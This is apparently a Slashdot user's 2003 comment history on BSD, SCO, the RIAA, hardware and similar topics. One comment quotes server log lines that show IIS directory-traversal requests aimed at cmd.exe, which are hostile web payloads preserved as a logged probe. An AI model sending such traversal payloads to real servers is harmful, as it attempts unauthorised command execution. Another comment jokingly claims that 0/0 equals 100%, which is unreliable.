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  1. pr0n?? on RIAA Parses 'P2P' As 'Peer 2 Porn' · · Score: 0, Funny

    You can get porn from p2p networks??

  2. Re:entirely new direction ? on DragonFly BSD: Daily Snapshots Available · · Score: 1

    phew, that was close. I'm so glad that I managed to grab the super special VIP only version of FreeBSD 4.8 for my laptop that includes audio before they got rid of it! (also works with USB and wheel mice (the wheel mice are supported by X anyway))

  3. Re:business vs tech presss on SCO Roundup · · Score: 1

    They won't be there if you actually pay attention. There's no reason to attempt to blacklist TrollTech because you think they're owned by Canopy.

  4. Re:Rights? on 41 Million Sign Up for National Do-Not-Call List · · Score: 1

    Actually, any money that drug dealers may pull in depends on the anti-drug laws. Without the laws, the business would be legit and profits would go through the floor.

  5. Re:GCC better than thought on IBM Releases Compiler for Power4 and G5 · · Score: 1

    Is it just me, or is testing an optimized compiler on processors it isn't optimized for a little silly? It's the Intel compiler. It's not going to take advantage of things like 3dnow that the AMD chips use.

  6. Re:And while you all get easy 5, funnies. on LovSan Clone Let Loose · · Score: 2, Informative

    It is very easy to configure OpenSSH to not allow remote root login. 'PermitRootLogin no'. Newer versions of OpenSSH have that as a default, so you would have to actively allow root logon.

  7. Re:And while you all get easy 5, funnies. on LovSan Clone Let Loose · · Score: 1

    Not to nitpick, but none of the machines I have running Free/OpenBSD allow remote root login. OpenSSH was configured like that by default. So in actuality, to get in without using an exploit, you would have to know the username and password of a user in the 'wheel' group and then su to root. Besides...Windows XP ships with the remote desktop turned on by default. Not sure what protections there are on trying to log in through that (never used XP much, but it was on on a computer I built for someone, turned it off in services.)

  8. Re:the average user reaction... on LovSan Clone Let Loose · · Score: 1

    Well, some of the "Do Nothing" crowd could be people using Mac OS X or Linux or what have you. If I had taken that poll I would have been a do nothing because all of my computers run some sort of BSD.

  9. *BSD non-genetic? on Why SCO UNIX Is A Bad Idea · · Score: 3, Insightful

    Some examples of non-genetic Unix operating systems are GNU/Linux and *BSD

    I had to stop reading after that line. That line and his belief that people think of SCO software when people say Unix entirely undermines the credibility of this article in my opinion.

  10. Re:I doubt it was intentional on Wrestler Maxx Payne Sues Game Publisher · · Score: 2, Interesting

    The primary reason the wrestlers lost that case was because they foolishly signed a settlement to get them out of court in 1994. The settlement limited the current WWE's ability to use the WWF mark outside of the United States. If they had not settled and had gone to court instead, they probably would have won, and would still be the WWF (World Wrestling Federation).

  11. Re:Curious point on what /. readers consider right on How to Tell if the RIAA Wants You · · Score: 1

    There is a difference between the RIAA subpoenas and normal subpoenas. Normal subpoenas require a judge's approval. The RIAA subpoenas in the DMCA only require that a copyright holder show up at a court, pay a fee, and get a clerk of the court to rubber stamp it, with no review.

  12. Re:This is not surprising. on Top Five Reliable Providers · · Score: 1

    Upgrading FreeBSD is pretty easy. There are about 6 steps to updating the base system: edit kernel config (optional), make buildworld, make buildkernel KERNCONF=newkern , make installkernel KERNCONF=newkern , make installworld, run mergemaster.
    Those steps are fairly simple, and if you didn't edit the kernel config file, you can leave off KERNCONF=newkern.

    Upgrading packages is super simple too. Install the sysutils/portupgrade package first. After that's installed, run
    portsdb -Uu and pkgdb -fu
    Whenever you cvsup the ports collection, run portsdb -Uu again. To upgrade a package using the ports, type
    portupgrade packagename
    To upgrade everything at once, use
    portupgrade -a
    If something isn't compiling for some reason, skip it with -x (On my FreeBSD 4.8 system, XFree86-libraries-4.3.0_5 doesn't build correctly for some reason so I'm sticking with a slightly older version). if I want to upgrade everything except XFree86-libraries, I just type
    portupgrade -ax XFree86-libraries
    If you don't want to build from the ports, but would rather just fetch the most recent version of something that is prepackaged, you can add the -P option. -P causes portupgrade to look for a package first, and if it can't find one, it will build from the ports. To prevent building from the ports collection, specify P twice.
    portupgrade -aP
    would upgrade everything that is a lower version than in FreeBSD's ports collection attemping to use packages first, and
    portupgrade -aPP
    would only upgrade what the system could find in prebuilt packages.

  13. Re:0/0 != 100%, it is undefined, dumbass on How Labels And Artists Divvy Up Your Dollar Online · · Score: 1, Insightful

    0/0 is not undefined. It is undetermined. 0/0==. The reason it is different than with a non-zero number in the numerator is because division adheres to denominator * result = numerator. It is true for any number with 0/0 and true with no numbers for anything else divided by zero.

    Therefore, 0/0 == 100% is true!

    (maybe you should take a math class :))

  14. Re:Good old Bioware on Mac OS X NWN Technology Demo Released · · Score: 2, Funny
    putting nwn on all three major operating systems
    Windows, MacOS X, and PalmOS?
    I got the impression that he was talking about BSD, Plan9, and VMS.
  15. Re:Not so simple on Blow the Whistle, Lose Your Job? · · Score: 1

    In the process, according to the suit, Gross opened a folder titled "my music," within which was another folder, named "nime," then another, "nime2." It was here, Gross said in an interview, that he encountered the illicit content. "I didn't have to click on any files when I went into the folder," says Gross. "There were thumbnail images, so I was pretty much instantly exposed to that."

    If Gross hadn't opened those folders, he wouldn't have come across the offensive images in the first place. But Perry and Gross say it wasn't unusual for them to check the content of folders when troubleshooting; a large file, for example, can be an indication that a virus is at work.


    He didn't open the picture files. He was browsing through directories to see if there were any files that seemed like they might be oversized and might indicate that there was some sort of virus activitiy going on. When he opened the directory where the illicit photos were stored, he saw the thumbnails that the icon view in explorer provides. Besides, it's not as if a company computer would be the professor's private property. You shouldn't store anything on their computers that you wouldn't want others to see.
  16. Re:So on Porting Unix Command-Line Tools to Mac OS X · · Score: 1
    obviously only geeks buy servers, or I wouldn't be seeing this in error_log (or am I getting geeks mixed up with morons?).
    68.158.145.171 - - [13/May/2003:14:26:46 -0400] "GET /scripts/..%c1%1c../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
    68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%c0%2f../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
    68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%c0%af../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
    68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%c1%9c../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
    68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%%35%63../winnt/ system32/cmd.exe?/c+dir HTTP/1.0" 400 293
    68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%%35c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 400 293
    68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%25%35%63../winn t/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
    68.158.145.171 - - [13/May/2003:14:26:48 -0400] "GET /scripts/..%252f../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 310
  17. Re:Right back at ya on Dr. Dre to pay $1.5 mil for "Illegal Sample" · · Score: 0, Flamebait
    well, rap actually isn't music according to the regular definitions of music (from dictionary.com):

    music ( P ) Pronunciation Key (myzk)

    n.

    1. The art of arranging sounds in time so as to produce a continuous, unified, and evocative composition, as through melody, harmony, rhythm, and timbre.

    2. Vocal or instrumental sounds possessing a degree of melody, harmony, or rhythm.


    Since rap is only rhythm and percussion, it doesn't contain all of the qualities necessary for music! :)
  18. Re:What you failed to mention on Linux Desktop Myths Examined · · Score: 2, Insightful

    Since when is removing a shortcut the same thing as uninstalling an application?

  19. Re:Uh huh... on BSA IDC FUD · · Score: 1

    actually, whenever that commercial comes on, it makes me think, "Wow, look how many more accidents are caused by people being sober than by people smoking marijuana!"

    I mean, there must be something serious going on when fully 80% of car accidents are caused by people that neglected to smoke pot, right?

  20. Re:Site is VARY slow on First Look At SuSE Linux 8.2 · · Score: 2, Informative

    on my freebsd box, these are the versions of gcc that are available as ports:
    /usr/ports/lang $ ls -a | grep gcc
    gcc27
    gcc28
    gcc295
    gcc30
    gcc31
    gcc32
    gcc33
    /usr/ports/lang $

    Version 3.3 is beta though.

  21. Re:What other option do they have? on Broad Bills to Protect 'Communications Services' · · Score: 1

    Unless I'm entirely mistaken, Charter Communications (the most wretched of cable companies), charges extra per cable outlet that is turned on within your abode.

  22. 2060 vs. 2070 on Virtual PC 6 Review · · Score: 1

    I remember the different between these two models now. The 2060 is the normal light cream monitor color, and the 2070 is a black monitor. They are pretty much the same thing otherwise.

  23. Re:What's the application? on Virtual PC 6 Review · · Score: 1

    I have a Mitsubishi DP 900U as well. I liked it, and wanted a 21" monitor (it's actually a 22", but has the same viewable as a normal 21, it just looks better), so I bought the Mitsubishi DP 2060U. It also has dual inputs with a button on the front, but this one has two VGA inputs. I'm not sure how the USB hub switching works though. I haven't used it to switch USB peripherals. Tom's Hardware mentioned it in a monitor review. BTW, the prices from Pricegrabber are for the wrong monitor. The 2060U is closer to $750. They may have moved up to the 2070 by now, too.

  24. Re:Hurry Up! on AMD Releases Barton: Athlon 3000+ · · Score: 3, Interesting

    Wow! I suppose that 4 dollar difference according to pricewatch between the 3000+ and the 3.06 means a lot to you.

  25. Re:DNS queries are for lamers on 98% of DNS Queries at the Root Level are Unnecessary · · Score: 1

    Actually, wouldn't the file size be unlimited since you can have a very large number of names for a single IP?